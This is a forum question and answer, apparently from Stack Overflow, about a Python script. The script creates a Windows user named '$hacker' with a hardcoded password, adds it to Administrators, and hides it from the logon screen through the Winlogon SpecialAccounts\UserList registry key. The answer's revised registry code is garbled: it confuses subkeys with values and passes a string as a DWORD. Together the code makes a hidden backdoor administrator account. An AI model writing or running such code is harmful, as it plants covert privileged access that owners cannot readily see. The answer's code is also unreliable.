Creating a new DWORD with Python

557 Views Asked by At

Hello guys I am trying to teach myself more python than my college does and im trying to create python file to the bash file ive created once. The bash file is supposed to open a new user on 'net users' named $hacker and afterwards hide it on Registory. The try is working good and im getting all of the prints i asked when everything is complete but for some reason the DWORD wasnt created (two keys as well) Hope someone will know what am I doing wrong !

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',0,w.REG_DWORD, 0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

1

There are 1 best solutions below

4
On

Try below

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key, 'NewSubkey', wreg.REG_SZ, 'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key, 'ValueName', 0, wreg.REG_DWORD, '0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()